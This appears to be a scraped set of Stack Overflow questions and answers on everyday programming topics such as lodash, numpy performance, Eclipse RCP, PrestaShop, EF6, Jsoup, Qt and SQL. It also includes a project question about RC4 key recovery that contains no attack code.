38906439	0	 <p>Use <a href="https://lodash.com/docs#orderBy" rel="nofollow"><code>orderBy</code></a> with with <code>order</code> ascending or descending to decide if lowest or highest. Group by <code>custormerId</code>, and take the 1st item from each customer orders:</p> <p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false"> <div class="snippet-code"> <pre class="snippet-code-js lang-js prettyprint-override"><code>function getMinMax(orders, min) { // orders - array of orders, min - true if minimum, undefined / false if maximum var order = !!min ? 'asc' : 'desc'; return _(orders) .orderBy('orderAmount', order) // orderBy the orderAmount property, with order determining highest or lowest .groupBy('customerId') // group all orders by customer id .map(function(orders) { // create a new array of just the 1st order of each customer, which will be the highest or the lowest return orders[0]; }).value(); } var orders = [{ customerId: 1, orderId: '1-1', orderAmount: 100 }, { customerId: 2, orderId: '1-2', orderAmount: 128 }, { customerId: 2, orderId: '1-3', orderAmount: 12 }, { customerId: 1, orderId: '1-3', orderAmount: 113 }, { customerId: 2, orderId: '1-1', orderAmount: 125 }, { customerId: 2, orderId: '4-1', orderAmount: 11 }, { customerId: 1, orderId: '1-2', orderAmount: 25 }]; var highestOrders = getMinMax(orders); console.log('highestOrders', highestOrders); var lowesetOrders = getMinMax(orders, true); console.log('lowesetOrders', lowesetOrders);</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;script src="https://cdnjs.cloudflare.com/ajax/libs/lodash.js/4.14.2/lodash.min.js"&gt;&lt;/script&gt;</code></pre> </div> </div> </p>
36383877	0	 <p>i'm sure there are more elegant solutions but maybe it helps:</p> <pre><code>var myString = "___" myString = "1__" let input = "6" for index in 0 ..&lt; myString.characters.count { let startIndex = myString.startIndex.advancedBy(index) let endIndex = startIndex.advancedBy(1) let range = startIndex..&lt;endIndex let substring = myString[range] if substring == "_" { myString = myString.stringByReplacingCharactersInRange(range, withString: input) break } } </code></pre>
40620698	0	Text not displaying on screen <p>I cannot get the entire text to display on screen. </p> <p>My code is:</p> <pre><code>akiss =("Romeo.txt") numwords = 0 numchars = 0 with open(akiss, 'r') as file: for line in file: wordslist = line.split() numwords += len(wordslist) numchars += len(line) print (" number of words are:") print (numwords) print ("number of characters are:") print (numchars) </code></pre>
40042882	0	 <p>There are two dependencies usually involved: <code>jmh-core</code> and <code>jmh-generator-annprocess</code>. Their versions should agree. If they don't, then generator may produce the benchmark list in a format that core cannot understand. This most probably is such case.</p>
40413480	0	 <p><strong>This is my first answer in stackOverflow, so please, go easy.</strong></p> <p>If i'm understanding your question right, you're wondering how the math behind an artificial neuron works. The neuron is made up of 5 components shown in the following list. (The subscript i indicates the i-th input or weight.)</p> <ol> <li>A set of inputs, xi.</li> <li>A set of weights, wi.</li> <li>A threshold, u.</li> <li>An activation function, f.</li> <li>A single neuron output, y.</li> </ol> <p>The artificial neuron has a fairly simple structure.</p> <p>Using the unit step activation function, you can determine a set of weights (and threshold value) that will produce the following classification: <a href="https://i.stack.imgur.com/J2apd.png" rel="nofollow noreferrer">Click to view classification</a></p> <p>Looking at number 4. An activation function f. Many different functions can take place with the identity function being the simplest. </p> <p>The neuron output Y, is the result of applying the <strong>activation function</strong> to the <strong>weighted sum</strong> of the <strong>inputs</strong>, less the <strong>threshold</strong>. </p> <p>This value can be discrete or real depending on the activation function used.</p> <p><a href="https://i.stack.imgur.com/4hHb5.png" rel="nofollow noreferrer">Here's</a> an output of Y that holds a specific function F.</p> <p>Once the output has been calculated, it can be passed to another neuron (or group of neurons) or sampled by the external environment. The interpretation of the neuron output depends upon the problem under consideration</p> <p>@Seephore</p> <p>In principle, there is no limit on the number of hidden layers that can be used in an artificial neural network. Such networks can be trained using "stacking" or other techniques from the deep learning literature. Yes, you could have 1000 layers, though I don't know if you'd get much benefit: in deep learning I've more typically seen somewhere between 1-20 hidden layers, rather than 1000 hidden layers. In practice the number of layers is based upon pragmatic concerns, e.g., what will lead to good accuracy with reasonable training time and without overfitting.</p> <p><strong>What you're asking:</strong> Im going to assume you meant to say 100 input and 1000 output? When a input takes in the weighted value, its output gives it to all the other nodes (neurons) in the next layer, but the value is still from the given node. </p> <p>There are many "wish wash" books out their for java, but if you really want to get into it read <a href="https://i.stack.imgur.com/J2apd.png" rel="nofollow noreferrer">This</a></p> <p><a href="https://i.stack.imgur.com/OH3gI.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/OH3gI.png" alt=""></a></p>
4802584	0	How to get "Internet Call" Information in Android <p>Im working on android application in which i take backup of all contact information and then restore,i retreive all information of contact, For example:</p> <p>Display Name</p> <pre><code>Cursor cursor = getContentResolver().query(ContactsContract.Contacts.CONTENT_URI,null,null, null, null) String name = cursor.getString(cursor.getColumnIndexOrThrow(ContactsContract.Contacts.DISPLAY_NAME)); </code></pre> <p>Phone Number</p> <pre><code>Cursor phones = getContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null,ContactsContract.CommonDataKinds.Phone.CONTACT_ID +" = "+ contactId,null, null); </code></pre> <p>Similary But i unable to get "Internet Call" value. Kindly anyone tell in which class i will get information about Internet Call information.</p> <p>Any help in this regards greatly appreciated.and it is urgent </p>
37589894	0	Error while build SyntaxNet with Bazel <p>I am trying to run Syntaxnet on Ubuntu in my VirtualBox following instructions on <a href="https://github.com/tensorflow/models/tree/32ab5a58dd3714d0747da6993a01315dadbf0e0f/syntaxnet#installation" rel="nofollow noreferrer" title="TensorFlow git">SyntaxNet Github page</a></p> <p>When i ran "bazel test syntaxnet/... util/utf8/...", all test targets were skipped. The error codes are as below.<a href="https://i.stack.imgur.com/Knvb9.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/Knvb9.png" alt="Error codes while building SyntaxNet"></a></p>
10457033	0	 <p>I would recommend you to have a look at the <a href="https://github.com/FriendsOfSymfony/FOSRestBundle" rel="nofollow">FOSRestBundle</a>. Another attempt could be to handle the requests yourself, and return the date from the orm/odm via <a href="http://jmsyst.com/bundles/JMSSerializerBundle" rel="nofollow">Serializer</a></p> <p>the only thing bothered me so far, was the form handling (used <a href="https://github.com/powmedia/backbone-forms" rel="nofollow">backbone-forms</a>), where I simply not was able to keep my code DRY (had duplicate data for the form+validation in symfony and in the frontend-part).</p>
20542552	1	How to speed up matrix code <p>I have the following simple code which estimates the probability that an h by n binary matrix has a certain property. It runs in exponential time (which is bad to start with) but I am surprised it is so slow even for n = 12 and h = 9. </p> <pre><code>#!/usr/bin/python import numpy as np import itertools n = 12 h = 9 F = np.matrix(list(itertools.product([0,1],repeat = n))).transpose() count = 0 iters = 100 for i in xrange(iters): M = np.random.randint(2, size=(h,n)) product = np.dot(M,F) setofcols = set() for column in product.T: setofcols.add(repr(column)) if (len(setofcols)==2**n): count = count + 1 print count*1.0/iters </code></pre> <p>I have profiled it using n = 10 and h = 7. The output is rather long but here are the lines that took more time.</p> <pre><code> 23447867 function calls (23038179 primitive calls) in 35.785 seconds Ordered by: standard name ncalls tottime percall cumtime percall filename:lineno(function) 2 0.002 0.001 0.019 0.010 __init__.py:1(&lt;module&gt;) 1 0.001 0.001 0.054 0.054 __init__.py:106(&lt;module&gt;) 1 0.001 0.001 0.022 0.022 __init__.py:15(&lt;module&gt;) 2 0.003 0.002 0.013 0.006 __init__.py:2(&lt;module&gt;) 1 0.001 0.001 0.003 0.003 __init__.py:38(&lt;module&gt;) 1 0.001 0.001 0.001 0.001 __init__.py:4(&lt;module&gt;) 1 0.001 0.001 0.004 0.004 __init__.py:45(&lt;module&gt;) 1 0.001 0.001 0.002 0.002 __init__.py:88(&lt;module&gt;) 307200 0.306 0.000 1.584 0.000 _methods.py:24(_any) 102400 0.026 0.000 0.026 0.000 arrayprint.py:22(product) 102400 1.345 0.000 32.795 0.000 arrayprint.py:225(_array2string) 307200/102400 1.166 0.000 33.350 0.000 arrayprint.py:335(array2string) 716800 0.820 0.000 1.162 0.000 arrayprint.py:448(_extendLine) 204800/102400 1.699 0.000 5.090 0.000 arrayprint.py:456(_formatArray) 307200 0.651 0.000 22.510 0.000 arrayprint.py:524(__init__) 307200 11.783 0.000 21.859 0.000 arrayprint.py:538(fillFormat) 1353748 1.920 0.000 2.537 0.000 arrayprint.py:627(_digits) 102400 0.576 0.000 2.523 0.000 arrayprint.py:636(__init__) 716800 2.159 0.000 2.159 0.000 arrayprint.py:649(__call__) 307200 0.099 0.000 0.099 0.000 arrayprint.py:658(__init__) 102400 0.163 0.000 0.225 0.000 arrayprint.py:686(__init__) 102400 0.307 0.000 13.784 0.000 arrayprint.py:697(__init__) 102400 0.110 0.000 0.110 0.000 arrayprint.py:713(__init__) 102400 0.043 0.000 0.043 0.000 arrayprint.py:741(__init__) 1 0.003 0.003 0.003 0.003 chebyshev.py:87(&lt;module&gt;) 2 0.001 0.000 0.001 0.000 collections.py:284(namedtuple) 1 0.277 0.277 35.786 35.786 counterfeit.py:3(&lt;module&gt;) 205002 0.222 0.000 0.247 0.000 defmatrix.py:279(__array_finalize__) 102500 0.747 0.000 1.077 0.000 defmatrix.py:301(__getitem__) 102400 0.322 0.000 34.236 0.000 defmatrix.py:352(__repr__) 102400 0.100 0.000 0.508 0.000 fromnumeric.py:1087(ravel) 307200 0.382 0.000 2.829 0.000 fromnumeric.py:1563(any) 271 0.004 0.000 0.005 0.000 function_base.py:3220(add_newdoc) 1 0.003 0.003 0.003 0.003 hermite.py:59(&lt;module&gt;) 1 0.003 0.003 0.003 0.003 hermite_e.py:59(&lt;module&gt;) 1 0.001 0.001 0.002 0.002 index_tricks.py:1(&lt;module&gt;) 1 0.003 0.003 0.003 0.003 laguerre.py:59(&lt;module&gt;) 1 0.003 0.003 0.003 0.003 legendre.py:83(&lt;module&gt;) 1 0.001 0.001 0.001 0.001 linalg.py:10(&lt;module&gt;) 1 0.001 0.001 0.001 0.001 numeric.py:1(&lt;module&gt;) 102400 0.247 0.000 33.598 0.000 numeric.py:1365(array_repr) 204800 0.321 0.000 1.143 0.000 numeric.py:1437(array_str) 614400 1.199 0.000 2.627 0.000 numeric.py:2178(seterr) 614400 0.837 0.000 0.918 0.000 numeric.py:2274(geterr) 102400 0.081 0.000 0.186 0.000 numeric.py:252(asarray) 307200 0.259 0.000 0.622 0.000 numeric.py:322(asanyarray) 1 0.003 0.003 0.004 0.004 polynomial.py:54(&lt;module&gt;) 513130 0.134 0.000 0.134 0.000 {isinstance} 307229 0.075 0.000 0.075 0.000 {issubclass} 5985327/5985305 0.595 0.000 0.595 0.000 {len} 306988 0.120 0.000 0.120 0.000 {max} 102400 0.061 0.000 0.061 0.000 {method '__array__' of 'numpy.ndarray' objects} 102406 0.027 0.000 0.027 0.000 {method 'add' of 'set' objects} 307200 0.241 0.000 1.824 0.000 {method 'any' of 'numpy.ndarray' objects} 307200 0.482 0.000 0.482 0.000 {method 'compress' of 'numpy.ndarray' objects} 204800 0.035 0.000 0.035 0.000 {method 'item' of 'numpy.ndarray' objects} 102451 0.014 0.000 0.014 0.000 {method 'join' of 'str' objects} 102400 0.222 0.000 0.222 0.000 {method 'ravel' of 'numpy.ndarray' objects} 921176 3.330 0.000 3.330 0.000 {method 'reduce' of 'numpy.ufunc' objects} 102405 0.057 0.000 0.057 0.000 {method 'replace' of 'str' objects} 2992167 0.660 0.000 0.660 0.000 {method 'rstrip' of 'str' objects} 102400 0.041 0.000 0.041 0.000 {method 'splitlines' of 'str' objects} 6 0.003 0.000 0.003 0.001 {method 'sub' of '_sre.SRE_Pattern' objects} 307276 0.090 0.000 0.090 0.000 {min} 100 0.013 0.000 0.013 0.000 {numpy.core._dotblas.dot} 409639 0.473 0.000 0.473 0.000 {numpy.core.multiarray.array} 1228800 0.239 0.000 0.239 0.000 {numpy.core.umath.geterrobj} 614401 0.352 0.000 0.352 0.000 {numpy.core.umath.seterrobj} 102475 0.031 0.000 0.031 0.000 {range} 102400 0.076 0.000 0.102 0.000 {reduce} 204845/102445 0.198 0.000 34.333 0.000 {repr} </code></pre> <p>The multiplication of the matrices seems to take a tiny fraction of the time. Is it possible to speed up the rest?</p> <p><strong>Results</strong> </p> <p>There are now three answers but one seems to have a bug currently. I have tested the remaining two with n=18, h=11 and iters=10 .</p> <ul> <li>bubble - 21 seconds, 185MB of RAM . 16 seconds on "sort".</li> <li>hpaulj - 7.5 seconds, 130MB of RAM . 3 seconds on "tolist". 1.5 seconds on "numpy.core.multiarray.array", 1.5 seconds on "genexpr" (the 'set' line).</li> </ul> <p>Interestingly, the time for multiplying the matrices is still a tiny fraction of the overall time taken.</p>
22790087	0	How to attack on RC4 <p>Friends, I am working on a project where I need to crack as much keys as possible for RC4 algorithm. I would request you to go through RC4 algorithm before reading his question.</p> <p>I have given 50 different files (A00.data,A01.data...A49.data) each containing millions of lines. Every record of file contains 5 tuples</p> <ol> <li>Initial Vector[0]</li> <li>Initial Vector[1]</li> <li>Initial Vector[2]</li> <li>1st byte of PRGA algorithm</li> </ol> <p>Every key contains 8 bytes (3 bytes of Initial Vector-given + 5 bytes of secret key)</p> <p>How can I apply any specific attack (i.e RC4 ) and find the keys (5 secret bytes) from millions of rows in each file?</p>
12493694	0	 <p>Use grep:</p> <pre><code> grep ^hello file | awk '{print $2}' </code></pre> <p><code>^</code> is to match lines that starts with "hello". This is assuming you want to print the second word.</p> <p>If you want to print all words except the first then:</p> <pre><code> grep ^hello file | awk '{$1=""; print $0}' </code></pre>
16414051	0	Eclipse RCP - Multi User Installation using Windows Environment Variables <p>I have an Eclipse RCP application.</p> <p>At startup this RCP application creates a folder for the "configuration area" <a href="http://help.eclipse.org/indigo/index.jsp?topic=/org.eclipse.platform.doc.isv/reference/misc/multi_user_installs.html" rel="nofollow">(see eclipse help) </a>.</p> <p>Currently I pass a hardcoded path to the -configuration parameter in the launcher .ini file to define the location where this folder for the "configuration area" should be located.</p> <p>So far, this is working fine.</p> <p>Now the requirement of a customer is, that this "configuration area" should be saved in the roaming profile of the Windows user.</p> <p>The location of the roaming profile is defined by the Windows environment variable APPDATA. But this location does not corespond to the Java <em>user.home</em> directory, which points to a shared network drive in the case of my customer.</p> <p>How can I implement this requirement?</p> <p>As far as I found out, the only variables I can use in the launcher .ini are @user.home and @user.dir <a href="http://help.eclipse.org/indigo/index.jsp?topic=/org.eclipse.platform.doc.isv/reference/misc/runtime-options.html" rel="nofollow">(see Eclipse runtime options)</a>. Both seem to be useless for my scenario.</p> <p>There is a <a href="https://bugs.eclipse.org/bugs/show_bug.cgi?id=102239" rel="nofollow">bug on the Eclipse Bugzilla</a> since 2005 that seems to address exactly my issue. But it is not resolved, and there seems not much demand in resolving the issue. So I am wondering how other people are dealing with similar scenarios?</p> <p>Any help for setting up an Eclipse RCP multi-user scenario using Windows Roaming Profiles is greatly appreciated...</p>
8325059	0	Current Location Simulation on AppCode <p>Please correct me if this question is duplicated.</p> <p>I just started using AppCode for iOS programming.</p> <p>I found it very useful but issues started happening.</p> <p>My application is location based app and I need to simulate the current location but with AppCode I could not seem to find that option.</p> <p>I also tried to choose iOS 5 as the target platform but no joy.</p> <p>Does anyone know how to do it with this IDE?</p>
8282619	0	 <p>passthru is a method in PHP see <a href="http://php.net/manual/en/function.passthru.php" rel="nofollow">http://php.net/manual/en/function.passthru.php</a></p> <p>Do you know what the script does? Maybe reverse engineer it into windows batch script?</p> <p>From the looks of it, the script came from a *nix system it:</p> <ul> <li>execute a command as another user</li> <li>change the current directory</li> <li>set environment variables </li> <li>calls a PHP script directly from the PHP interpreter and dumps the log into a file, and pipes the stderrs to /dev/null</li> </ul> <p>That script is imo, is impossible to "covert" to Windows batch script (since Windows != POSIX), you need to rewrite it. </p>
21318943	0	Back-office tab and helper form? <p>Following <a href="http://doc.prestashop.com/display/PS14/Creating+a+PrestaShop+module" rel="nofollow">this</a> prestashop instruction on how to make a tab in a back-office I did a class and controller like it's need. But what if I want to use a helper form for form creation in the <code>AdminTest</code> controller?</p> <pre><code>class AdminTest extends AdminTab { public function __construct() { $this-&gt;table = 'test'; $this-&gt;className = 'Test'; $this-&gt;lang = false; $this-&gt;edit = true; $this-&gt;delete = true; $this-&gt;fieldsDisplay = array( 'id_test' =&gt; array( 'title' =&gt; $this-&gt;l('ID'), 'align' =&gt; 'center', 'width' =&gt; 25), 'test' =&gt; array( 'title' =&gt; $this-&gt;l('Name'), 'width' =&gt; 200) ); $this-&gt;identifier = 'id_test'; parent::__construct(); } public function displayForm() { global $currentIndex; $defaultLanguage = intval(Configuration::get('PS_LANG_DEFAULT')); $languages = Language::getLanguages(); $obj = $this-&gt;loadObject(true); $fields_form[0]['form'] = array( 'legend' =&gt; array( 'title' =&gt; $this-&gt;l('Edit carrier'), 'image' =&gt; '../img/admin/icon_to_display.gif' ), 'input' =&gt; array( array( 'type' =&gt; 'text', 'name' =&gt; 'shipping_method', ), ), 'submit' =&gt; array( 'title' =&gt; $this-&gt;l('Save'), 'class' =&gt; 'button' ) ); $helper = new HelperForm(); // Module, token and currentIndex $helper-&gt;module = $this; $helper-&gt;name_controller = $this-&gt;name; $helper-&gt;token = Tools::getAdminTokenLite('AdminModules'); $helper-&gt;currentIndex = AdminController::$currentIndex.'&amp;configure='.$this-&gt;name; // Language $helper-&gt;default_form_language = $default_lang; $helper-&gt;allow_employee_form_lang = $default_lang; // Title and toolbar $helper-&gt;title = $this-&gt;displayName; $helper-&gt;show_toolbar = true; // false -&gt; remove toolbar $helper-&gt;toolbar_scroll = true; // yes - &gt; Toolbar is always visible on the top of the screen. $helper-&gt;submit_action = 'submit'.$this-&gt;name; $helper-&gt;toolbar_btn = array( 'save' =&gt; array( 'desc' =&gt; $this-&gt;l('Save'), 'href' =&gt; AdminController::$currentIndex.'&amp;configure='.$this-&gt;name.'&amp;save'.$this-&gt;name. '&amp;token='.Tools::getAdminTokenLite('AdminModules'), ), 'back' =&gt; array( 'href' =&gt; AdminController::$currentIndex.'&amp;token='.Tools::getAdminTokenLite('AdminModules'), 'desc' =&gt; $this-&gt;l('Back to list') ) ); return $helper-&gt;generateForm($fields_form); } } </code></pre> <p>But it wont work. Why the helper form isn't working? </p> <p>p.s. btw, also I would like to use a <code>$this-&gt;setTemplate('mytemplate.tpl')</code> method but it's not possible aswell.</p>
26634504	0	EF6 DB First Pre-Generated Views difficulties <p>The 50 seconds it takes EF to complete it's first query (as compared to milliseconds for the same or similar queries when it's warm) is making my MVC website look bad. I really need to get pre-compiled views working.</p> <p>I have tried the power tools but when I run 'Generate Views' the VS12 output window shows</p> <pre><code>System.NullReferenceException: Object reference not set to an instance of an object. at Microsoft.DbContextPackage.Utilities.EdmxUtility.GetMappingCollectionEF6(Assembly ef6Assembly, String&amp; containerName) at Microsoft.DbContextPackage.Handlers.OptimizeContextHandler.OptimizeEdmx(String inputPath) </code></pre> <p>The T4 templates that can generate views seem to be for code first only.</p> <p>How can I get power tools working or is there another way to pre-generate the Views?</p>
15469534	0	Remove signing from an assembly <p>I have a project open in Visual Studio (it happens to be Enyim.Caching). This assembly wants to be delay-signed. In fact, it desires so strongly to be delay-signed, that I am unable to force Visual studio to compile it <em>without</em> delay signing.</p> <ol> <li><p>I have unchecked "Delay sign only" and "Sign the assembly" on the Visual Studio project properties box, and rebuilt. The assembly is still marked for delay sign (as shown by <code>sn.exe -v</code>).</p></li> <li><p>I have unloaded the project and verified that the signing is set to false. When reloading the project, the check boxes for "Sign" and "Delay Sign" are checked.</p></li> <li><p>I have verified that no attributes are present in the AssemblyInfo (or elsewhere) that would cause this.</p></li> <li><p>I have searched the Internet for a solution, but have found none.</p></li> </ol> <p>How can I do this?</p>
6933860	0	 <p>Have a look at the quota implementation; this is a mechanism (ok, presumably not available on vfat) which reads/writes files from the kernel.</p> <p>Additionally, the "loop" block device is another example of a kernel facility which does file IO.</p>
12704142	0	 <p>You have not initialized <code>locationManager</code> To fix this, in your onCreate method you can do something like:</p> <pre><code>locationManager = (LocationManager) getSystemService(Context.LOCATION_SERVICE); </code></pre>
14310172	1	Python: Extract info from xml to dictionary <p>I need to extract information from an xml file, isolate it from the xml tags before and after, store the information in a dictionary, then loop through the dictionary to print a list. I am an absolute beginner so I'd like to keep it as simple as possible and I apologize if how I've described what I'd like to do doesn't make much sense.</p> <p>here is what i have so far.</p> <pre><code>for line in open("/people.xml"): if "name" in line: print (line) if "age" in line: print(line) </code></pre> <p>Current Output:</p> <pre><code> &lt;name&gt;John&lt;/name&gt; &lt;age&gt;14&lt;/age&gt; &lt;name&gt;Kevin&lt;/name&gt; &lt;age&gt;10&lt;/age&gt; &lt;name&gt;Billy&lt;/name&gt; &lt;age&gt;12&lt;/age&gt; </code></pre> <p>Desired Output</p> <pre><code>Name Age John 14 Kevin 10 Billy 12 </code></pre> <p>edit- So using the code below I can get the output:</p> <pre><code>{'Billy': '12', 'John': '14', 'Kevin': '10'} </code></pre> <p>Does anyone know how to get from this to a chart with headers like my desired output?</p>
565460	0	 <p>You sound as though you are "rolling your own" authentication system.</p> <p>I would look into using ASP.NET's built in <a href="http://msdn.microsoft.com/en-us/library/xdt4thhy.aspx" rel="nofollow noreferrer">Forms authentication</a> system that is commonly used with an ASP.NET <a href="http://msdn.microsoft.com/en-us/library/aa478949.aspx" rel="nofollow noreferrer">Membership Provider</a>. Built-in providers already exist for SQL Server, and you can create your own Membership Provider by inheriting from the <a href="http://msdn.microsoft.com/en-us/library/system.web.security.membershipprovider.aspx" rel="nofollow noreferrer">System.Web.Security.MembershipProvider</a> base class.</p> <p>Essentially, the ASP.NET membership providers usually work by setting a client side cookie (also known as an Authentication Ticket) in the client's browser, once the client has successfully authenticated themselves. This cookie is returned to the web server with each subsequent page request, allowing ASP.NET, and thus your code, to determine who the user is, usually with a single line of code like so:</p> <pre><code>string username = HttpContext.Current.User.Identity.Name; // The above gets the current user's name. if(HttpContext.Current.User.Identity.IsAuthenticated) // Do something when we know the user is authenticated. </code></pre> <p>You then should not need to store anything in the Session state. Of course, if you <em>want</em> to store user-specific data in a session variable (i.e. user-data that may not be part of the authentication of a user, perhaps the user's favourite colour etc.) then by all means you can store that in a session variable (after retrieving it from the DB when the user is first authenticated). The session variable could be stored based on the user's name (assuming unique names) and retrieved using code similar to the above which gets the current user's name to access the correct session object.</p> <p>Using the built-in forms authentication will also allow you to "protect" areas of your website from un-authorized users with simple declarative code that goes in your web.config, for example:</p> <pre><code>&lt;authorization&gt; &lt;deny users="?"/&gt; &lt;/authorization&gt; </code></pre> <p>Adding the above to your "main" web.config would ensure that none of your pages are accessible to un-authorized users (though you'd probably never do this in reality - it's just meant as an example). Using the ASP.NET <a href="http://msdn.microsoft.com/en-us/library/aa479032.aspx" rel="nofollow noreferrer">Role Provider</a> in conjunction with the Membership Provider will give you even greater granularity over who can or can't access various sections of your website.</p>
13068475	0	 <p>Looks like its a date. You can parse the string to DateTime, using <a href="http://msdn.microsoft.com/en-us/library/system.datetime.parseexact.aspx">DateTime.ParseExact</a> and then use .ToString to return formatted result. </p> <pre><code>DateTime dt = DateTime.ParseExact(temp1, "dd MM yyyy", CultureInfo.InvariantCulture); Console.Write(dt.ToString("yyyy MM dd")); </code></pre> <p><em>You may use that DateTime object later in your code, and also apply different formatting (if you need)</em></p>
36219946	0	 
10414320	0	 <p>No, the current beta VS11 Express edition only supports creating Metro apps. Whether the RTM edition ever will support old style apps requires a crystal ball. I doubt it.</p> <p>You'll need to use the VS2010 Express edition if you want to create legacy apps.</p>
28050839	0	 <p>See:</p> <blockquote> <p><strong>Warning</strong> If a connection opened by fsockopen() wasn't closed by the server, feof() will hang. To workaround this, see below example:</p> </blockquote> <p>On: <a href="http://php.net/feof" rel="nofollow">feof</a></p> <p>The workaround essentially waits <code>default_socket_timeout</code> and then terminates the while-loop.</p>
2963306	0	 <p>You might want to take a look at what caused the problem in my case and how I solved it <a href="http://stackoverflow.com/questions/140303/asp-net-unable-to-validate-data/2963301#2963301">here</a>.</p>
35761894	0	 <p>You are very confused about python data structures, you can't have keys in lists, you don't need a list of dictionaries with only one key. So assuming what you really want is a dictionary where keys are the portfolio, and value is a dictionary of the sum of <code>buy</code> and <code>sell</code> as separate values:</p> <pre><code>&gt;&gt;&gt; results = {} &gt;&gt;&gt; for t in my_list: ... trans = 'BUY' if t['trans'] &gt; 0 else 'SELL' ... a = results.setdefault(t['portfolio'], {'BUY':0, 'SELL':0}) ... a[trans] += t['trans'] &gt;&gt;&gt; results {'ABC': {'BUY': 0, 'SELL': 0}, 'XYZ': {'BUY': 0, 'SELL': 0}} </code></pre>
6571548	0	I get a SocketTimeoutException in Jsoup: Read timed out <p><br /> I get a SocketTimeoutException when I try to parse a lot of HTML documents using Jsoup.<br />For example, I got a list of links :</p> <pre><code>&lt;a href="www.domain.com/url1.html"&gt;link1&lt;/a&gt; &lt;a href="www.domain.com/url2.html"&gt;link2&lt;/a&gt; &lt;a href="www.domain.com/url3.html"&gt;link3&lt;/a&gt; &lt;a href="www.domain.com/url4.html"&gt;link4&lt;/a&gt; </code></pre> <p>For each link, I parse the document linked to the URL (from the href attribute) to get other pieces of information in those pages.<br />So I can imagine that it takes lot of time, but how to shut off this exception?<br /> Here is the whole stack trace:</p> <pre><code>java.net.SocketTimeoutException: Read timed out at java.net.SocketInputStream.socketRead0(Native Method) at java.net.SocketInputStream.read(Unknown Source) at java.io.BufferedInputStream.fill(Unknown Source) at java.io.BufferedInputStream.read1(Unknown Source) at java.io.BufferedInputStream.read(Unknown Source) at sun.net.www.http.HttpClient.parseHTTPHeader(Unknown Source) at sun.net.www.http.HttpClient.parseHTTP(Unknown Source) at sun.net.www.protocol.http.HttpURLConnection.getInputStream(Unknown Source) at java.net.HttpURLConnection.getResponseCode(Unknown Source) at org.jsoup.helper.HttpConnection$Response.execute(HttpConnection.java:381) at org.jsoup.helper.HttpConnection$Response.execute(HttpConnection.java:364) at org.jsoup.helper.HttpConnection.execute(HttpConnection.java:143) at org.jsoup.helper.HttpConnection.get(HttpConnection.java:132) at app.ForumCrawler.crawl(ForumCrawler.java:50) at Main.main(Main.java:15) </code></pre> <p>Thank you buddies!</p> <p><strong>EDIT:</strong> Hum... Sorry, just found the solution:</p> <pre><code>Jsoup.connect(url).timeout(0).get(); </code></pre> <p>Hope that could be useful for someone else... :)</p>
12920806	0	 <p>Yes, you should be able to use Shims with mocking frameworks. </p>
37846521	0	How to track the lifetime of a Drag/Drop operation? <p>I have an application which let's me drag&amp;drop items from a modified <code>QListWidget</code> on to a modified <code>QLabel</code> using <code>startDrag()</code>, <code>dragEnterEvent()</code>, <code>dropEvent()</code>, etc.</p> <p>I now want to not only get notified, when the dragging <strong>starts</strong> but also when it get's <strong>interrupted</strong> (by pressing <code>ESC</code> or dropping somewhere in the void). (My goal is to uncover a hidden widget I can drop items on which hides again as soon as the drag operation gets interrupted.)</p> <p>I crawled the docs but find anything promising - has someone accomplished this already?</p> <p>There is a quite <a href="http://stackoverflow.com/questions/26443890/catching-drag-cancel-event-in-qt">similar question</a> already but it didn't get useful answers and it's two years old - so maybe there are some new trickies introduced by Qt5?</p>
26846968	0	 <p>If you think about the overall operation that you are trying to perform, it is really just a Wipe-and-Replace based on what you are passing in. According to your stated rules:</p> <ul> <li>if I send parameter with CrateID = 2 and FruitID = 4, I want it to add another row (<em>assumption is that no rows exist yet for CrateID = 2</em>)</li> <li>if rows already exist for CrateID = 2: delete all records where CrateID = 2 and then add new records I am sending in parameter, don't touch another CrateIDs</li> </ul> <p>Hence, you shouldn't be using <code>MERGE</code> for this. Instead, just do:</p> <pre class="lang-sql prettyprint-override"><code>DELETE fc FROM Fruits_Crates fc WHERE fc.CrateID IN (SELECT DISTINCT tmp.CrateID FROM #FruitCrates tmp); INSERT INTO Fruits_Crates (FruitID, CrateID) SELECT tmp.FruitID, tmp.CrateID FROM FruitCrates tmp; </code></pre> <p>Or, if most of the time the number of items that match exceeds the number of items that will be removed and added, you can take a more targeted approach:</p> <pre class="lang-sql prettyprint-override"><code>CREATE TABLE #FruitCrates (FruitID INT, CrateID INT); CREATE TABLE #Fruits_Crates (FruitID INT, CrateID INT); --DELETE FROM #FruitCrates INSERT INTO #FruitCrates (CrateID, FruitID) VALUES (2, 4); INSERT INTO #FruitCrates (CrateID, FruitID) VALUES (2, 6); INSERT INTO #FruitCrates (CrateID, FruitID) VALUES (3, 26); --DELETE FROM #Fruits_Crates; INSERT INTO #Fruits_Crates (CrateID, FruitID) VALUES (1, 4); INSERT INTO #Fruits_Crates (CrateID, FruitID) VALUES (2, 4); INSERT INTO #Fruits_Crates (CrateID, FruitID) VALUES (2, 8); DELETE fc --SELECT fc.*, '--' AS [--], tmp.* FROM #Fruits_Crates fc LEFT JOIN #FruitCrates tmp ON tmp.CrateID = fc.CrateID AND tmp.FruitID = fc.FruitID WHERE tmp.CrateID IS NULL AND fc.CrateID IN (SELECT DISTINCT tmp2.CrateID FROM #FruitCrates tmp2); INSERT INTO #Fruits_Crates (FruitID, CrateID) SELECT tmp.FruitID, tmp.CrateID FROM #FruitCrates tmp LEFT JOIN #Fruits_Crates fc ON fc.CrateID = tmp.CrateID AND fc.FruitID = tmp.FruitID WHERE fc.CrateID IS NULL; SELECT CrateID, FruitID FROM #Fruits_Crates; </code></pre> <p>Output:</p> <pre class="lang-none prettyprint-override"><code>CrateID FruitID 1 4 2 4 2 6 3 26 </code></pre> <p>Result:</p> <ul> <li>Row with CrateID = 1, FruitID = 4: <strong>left alone</strong></li> <li>Row with CrateID = 2, FruitID = 4: <strong>left alone</strong></li> <li>Row with CrateID = 2, FruitID = 8: <strong>removed</strong></li> <li>Row with CrateID = 2, FruitID = 6: <strong>added</strong></li> <li>Row with CrateID = 3, FruitID = 26: <strong>added</strong></li> </ul>
